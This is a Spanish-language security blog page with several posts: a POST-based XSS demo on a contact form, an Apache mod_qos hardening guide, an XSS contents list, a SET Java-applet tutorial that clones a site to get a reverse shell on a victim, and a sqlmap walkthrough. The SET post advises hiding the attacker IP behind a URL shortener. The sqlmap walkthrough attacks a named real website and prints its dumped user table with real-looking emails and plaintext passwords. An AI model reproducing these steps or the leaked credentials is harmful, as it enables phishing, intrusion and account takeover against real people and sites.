Mostrando entradas con la etiqueta Seguridad Web. Mostrar todas las entradas

XSS por POST


Hace unos días reportaron un XSS por POST en el formulario de contacto de Underc0de. Por suerte no era nada riesgoso, pero era una vulnerabilidad que debíamos arreglar.
En esta ocasión usaremos el código de ese formulario de contacto para reproducir la falla y para ver como probar si nuestras aplicaciones son vulnerables a los XSS por POST.

El código del formulario de contacto está acá: www.hospedando.com.mx/descargas/formulario.zip por si alguno desea realizar la prueba.

Además, necesitaremos alguna herramienta que modifique los parámetros que enviemos por POST. Yo usare Tamper Data que es un complemento de Firefox:

https://addons.mozilla.org/es/firefox/addon/tamper-data/

Una vez montado el formulario de contacto se vera algo así:



El primer paso será completar todos sus campos y abrie Tamper Data. Una vez hecho esto, damos en "Comenzar Modificación" (En el tamper data) y enviamos el formulario de contacto.
Seguido a esto, nos aparecerá una alerta en Tamper Data para modificar los datos que estamos enviados.


Damos en modificar, y revisamos los valores que está enviando del lado derecho, que son los que hemos cargado desde el formulario.


Ahora es momento de jugar con estos campos. Este formulario de contacto no filtra sus variables, asique colocaremos algún vector de XSS en sus parámetros.
En este caso, coloqué un simple alert en el campo correo.

<script>alert('XSS')</script>

Pero podemos buscar o usar cualquier otro. Al dar en Aceptar, el sitio seguirá cargando con la nueva información suministrada...


Y como podrán apreciar, apareció el Alert con nuestro mensaje.

Espero que les sirva!

Seguridad en CentOS (Apache) [Mod_qos]

Hace un tiempo me mude a CentOS, despues de pasar por varias distros GNU/LINUX, lo primero que hice fue montarme mi servidor web Apache, y todo andaba muy bien, hasta que llegamos a la parte de la seguridad... Aqui me encontré con un problema, el servidor Apache es facilmente derribado, a pesar de tener algunas reglas iptables que en internet son facilmente encontradas, y si no podemos leer un poco sobre configuraciones iptables en este post, ya que con Mod Security y Mod Evasive no era suficiente para detener un ataque del poderoso Slowloris, del cual Apache es victima desde el 2009, y lo sigue siendo hasta el dia de hoy ya que no se ha encontrado una solucion concreta al problema.

En la busqueda de una posible solucion, me encontre con un mod muy interesante y el cual "mitigo" en gran magnitud un ataque de Slowloris a mi servidor Apache, este mod se llama "MOD_QOS, y a continuación voy a detallar los pasos para instalarlo:
yum install openssl-devel.x86_64

yum install pcre-devel.x86_64

yum install httpd-devel.x86_64
Descargamos el mod desde acá y una vez descargado, lo descomprimimos:
tar -zxvf mod_qos-10.15.tar.gz
Y luego vamos a su contenido escribiendo lo siguiente:
cd mod_qos-10.5
Luego ingresamos al directorio de apache
cd apache2
Ejecutamos la compilación
apxs -i -c  mod_qos.c


Ahora editamos el archivo de configuracion de Apache
vim /etc/httpd/conf/httpd.conf
Y se inserta la siguiente línea para el módulo del mod_qos:
LoadModule qos_module /usr/lib64/httpd/modules/mod_qos.so
Creamos un archivo de configuración de nombre mod_qos.conf:
touch /etc/httpd/conf.d/qos.conf
Insertamos las siguientes líneas en el archivo de configuración recién creado:
vim /etc/httpd/conf.d/qos.conf
    ## QoS Configuracion

    

    #Manejo de conexiones hasta 100000 IPs diferentes

    QS_ClientEntries 100000

    # Se permite solamente 50 connexiones por IP

    QS_SrvMaxConnPerIP 50

    # Maximo numero de conexiones TCP activas 256

    MaxClients              256

    # Desactivar la directiva keep-alive cuando el 70% de las conexiones TCP estan ocupadas:

    QS_SrvMaxConnClose      70%

    # Minimo de velocidad para peticiones / respuestas (niega a los clientes lentos que bloquean el servidor ,

    #Ejemplo; el script slowloris mantiene las peticiones HTTP :

    QS_SrvMinDataRate       150 1200

    # Limite de peticiones de encabezados y cuerpo (con cuidado, limita las cargas y las peticiones POST):

    # LimitRequestFields      30

    # QS_LimitRequestBody     102400

    

Finalmente reiniciamos el servicio con el siguiente comando:
service httpd restart
A demás vamos a agregar esta regla iptables:
iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 40 -j DROP
Con esto podremos disminuir considerablemente los ataques que se reciban al servidor. Este labs fue montado en una VPS con la siguiente velocidad:


Este post fue realizado por ZanGetsu en el foro. Para consultar o saber mas sobre el tema, haz click acá


XSS desde cero [Completo]

 

1.- Introducción

2.- Tipos de Ataques
- Reflected Cross Site Scripting (XSS Reflejado)
- Stored Cross Site Scripting (XSS Persistente)
- DOM Cross Site Scripting (DOM XSS)
- Cross Site Flashing (XSF)
- Cross Site Request/Reference Forgery (CSRF)
- Cross Frame Scripting (XFS)
- Cross Zone Scripting (XZS)
- Cross Agent Scripting (XAS)
- Cross Referer Scripting (XRS)
- Denial of Service (XSSDoS)
- Flash! Attack
- Induced XSS
- Image Scripting
- anti-DNS Pinning
- IMAP3 XSS
- MHTML XSS
- Expect Vulnerability

3.- Evitando Filtros

4.-PoC examples
- Bypassing filters
- Data Control PoC
- Frame Jacking PoC

5.- Técnicas de ataque
+ Classic XSS - Robando “cookies”
+ XSS Proxy
+ XSS Shell
+ Ajax Exploitation
+ XSS Virus / Worms
+ Router jacking
+ WAN Browser hijacking
- DNS cache poison
- XSS Injected code on server
- Practical Browser Hijacking

6.- XSS Cheats
-Fuzz Vectors

7.-Screenshots>

8.-Herramientas

9.-Links

10.-Bibliografía

11.-Licencia de uso

12.-Autor



Java Applet Attack Method – Backdorizacion con SET

 

Introducción

En este paper vamos a ver como funciona la herramienta SET (Social Engineer Toolkit). Lo utilizaremos para obtener una Shell en la pc que intentamos atacar.
El método que veremos ahora de Applet Attack afecta a Java, por lo que lo convierte en un ataque multiplataforma (Windows – Linux – MAC)
Para este tutorial usare 2 pcs, una para atacar (Backtrack – Linux) y la otra será mi objetivo (Windows 7). Todo lo hare en mi ambiente local.
SET ya viene instalado en Backtrack. Podemos encontrarlo en:

Applications >> BackTrack >> Exploitation Tools >> Social Engineering Tools >> Social Engineering Toolkits >> SET

Cuando lo abramos por primera vez, podremos ver algo como esto:


Son los términos y conficiones de uso. Presionamos la tecla “Y” seguido de la tecla Enter para continuar.

Preparando el Escenario

Una vez dentro, podremos ver algo como esto:


Seleccionamos la primera opción: Social-Engineering Attacks que es a lo que está enfocado este tutorial.

Luego, veremos algo como esto:

 

Seleccionamos la opción 2: Website Attack Vectors

Elegimos esta opción debido a que haremos una especie de FAKE de un Website


Seleccionamos la opción 1, Java Applet Attack Method

A continuación veremos lo siguiente
 


Tenemos 3 opciones…
1)    Web Templates >> SET trae cargado algunos templates ya prediseñados como de Google, Gmail, Facebook, etc… Si deseamos usar alguno de ellos, seleccionamos esta opción
2)    Site Cloner >> Clonar Sitio, yo utilizare esta opción para clonar un sitio en especifico
3)    Custom Import, para importar algún template customizado
En mi caso seleccionare la opción 2


Me detendré un momento en esta parte, ya que son varios pasos juntos.

Por un lado tenemos el primer YES. Este hace referencia a si estamos o no usando NAT. En mi caso pongo Yes, ya que este experimento lo hare en local.

Luego aparece una ip… Esa es mi ip privada (la de mi red interna) del lado izquierdo, en una consola pulse ifconfig y me arrojo la ip que tiene mi pc. En este caso es 192.168.1.8 y esa misma ip es la que debo poner en SET.

Luego aparece el NO. Ese no es por el mismo motivo de que estoy testeando todo en local y no en una red externa.

Finalmente me pide que ingrese la URL a clonar (En el paso anterior había seleccionado la opción “Site Cloner”) asique ahora coloque la url del sitio que deseo clonar y es underc0de.org


Ahora tenemos montones de cosas que podemos hacer. Yo seleccionare la primera opción, Windows Shell Reverse TCP. Para obtener una Shell de la pc que estoy atacando.



Ahora nos salen métodos de ejecutar el método, y siempre se suele seleccionar el que tiene el BEST. En este caso es el numero 16 Backdoored Executable (BEST)

Luego nos pedirá un puerto de escucha, y por defecto aparece el 443, asique dejaremos ese.

Una vez hecho todo esto, comenzara a crear el clon de la web. Simplemente lo dejamos correr hasta que finalice… Suele demorar unos minutos…



Finalmente, nos arroja una IP y un Puerto. Esa IP, es la que configuramos anteriormente y la que usaremos para atacar. Para que quede menos sospechoso, a esa IP la podemos ocultar con algún acortador de URL para que pase desapercibido.

Atacando al Objetivo

Ya estamos en la última parte del tutorial. En mi caso al ser en local, pondré esa IP (solo la IP) en el navegador de la pc que voy a atacar y veamos que pasa…



Como podemos ver, me cargo el clon de la página y me apareció una alerta en Java. Si doy click en Ejecutar, tenemos la Shell!

Posiblemente la consola que tenemos abierta con SET se vuelva loca y empiece a tirar líneas sola, eso es normal. Quiere decir que todo se ejecuto correctamente. Una vez que se detenga, presionamos Enter y podremos escribir. Tipeamos lo siguiente: sessions –l


Esto nos mostrara las sesiones activas. Yo seleccionare la 1, ya que es en la que esta mi pc con Windows a la que estoy atacando.


Asique ahora tipeo: sessions –i  1



Y Listooo!!
Como podemos ver, ya hemos logrado tener Shell en la pc que atacábamos!
Ahora podemos ejecutar comando a nuestro gusto!
Como por ejemplo: start /wait firefox.exe “http://underc0de.org”


Y nos abrirá la página de underc0de.

Otra cosa que podemos hacer es entrar a un FTP, descargar un archivo y luego ejecutarlo. De esta forma podríamos descargar un malware y ejecutarlo en la pc a la que estamos atacando. O también con wget en caso de ser Linux.
De ahora en más depende de nuestra imaginación lo que queramos hacer.

Despedida

Esto es todo por ahora, espero que les sea de utilidad. Quiero agradecer a [C]orrupted[B]yte, ya que por el me inicie con SET y la verdad es que es una herramienta muy útil.

SQLi Automatizado con SQLMAP

Introducción:

En este paper veremos como obtener los datos de admin de una base de datos utilizando SQLMAP.
Para este tutorial usare Backtrack, ya que viene instalado y está listo para usarse.
Para abrirlo vamos a:

Applications  >>  Backtrack  >>  Exploitation Tools  >>  Web Exploitation Tools  >>  sqlmap

A penas abrimos sqlmap, podremos ver todos los parámetros disponibles, ahora solo usaremos los elementales.


Voy a usar una web vulnerable smartenergyhome.eu
Las querys las haremos desde aquí: smartenergyhome.eu/eng/seh-buildings.php?id=9

Extracción de información

Comenzaremos sacando los nombres de las bases de datos, para ello tipeamos:

python sqlmap.py -u target.com/index.php?id=9 --dbs


El programa comenzara a buscar las bases de datos y las mostrara una vez que finalice de correr


En mi caso me trajo 2, de las cuales una es por el cpanel y la otra es de la web.
La que usaremos será la segunda “smartene_SEH
Ahora que tenemos el nombre de la base de datos, sigue buscar las tablas que posee, para ello vamos a tipear:

python sqlmap.py -u target.com/index.php?id=9 –D smartene_SEH -- tables


Este comando nos arrojara todas las tablas que tiene el sistema, y obviamente debemos buscar alguna que contenga datos de administradores para podernos loguear


En mi caso, la última tabla tiene el nombre “usuarios” por lo tanto, esa debe ser la tabla que tiene los datos de los admines.
Ahora veremos las columnas que tiene esa tabla de usuarios, para ver si en verdad tiene algún usuario y contraseña para luego entrar al panel de admin…
Ahora que conocemos el nombre de la tabla, vamos a tipear ahora lo siguiente:

python sqlmap.py -u target.com/index.php?id=9 –D smartene_SEH –T usuarios -- columns



Esto nos devolverá los nombres de las columnas que tiene dicha tabla.


Como podemos ver, hemos dado con la tabla que buscábamos. Esta tabla posee usuarios y contraseñas.
Para poder ver que datos contiene esta tabla, vamos a tipear:

python sqlmap.py -u target.com/index.php?id=9 –D smartene_SEH –T usuarios - -dump

Una vez ejecutado el comando, nos dará los datos que contiene esa tabla

+----+------------------------+------------------+----------+---------------------+----------+
| id | email                  | nombre           | usuario  | editado             | password |
+----+------------------------+------------------+----------+---------------------+----------+
| 1  | g.zapico@netavanza.com | Gustavo Zapico   | gzapico  | 2009-03-02 06:02:34 | medica3  |
| 2  | genis@vis-tek.com      | Gen\xeds Bayarri | gbayarri | 2009-03-02 06:20:37 | vis-tek  |
| 3  | j.berg@bwcv.es         | Josefin Berg     | jberg    | 2009-03-12 05:05:38 | seh2009  |
| 4  | l.bax@bwcv.es          | Laszlo Bax       | lbax     | 2010-03-26 16:46:18 | seh2009  |
+----+------------------------+------------------+----------+---------------------+----------+

Al ser este un tutorial educativo, no ingresaremos al sistema. Simplemente se expone el manejo de esta poderosa herramienta.
ANTRAX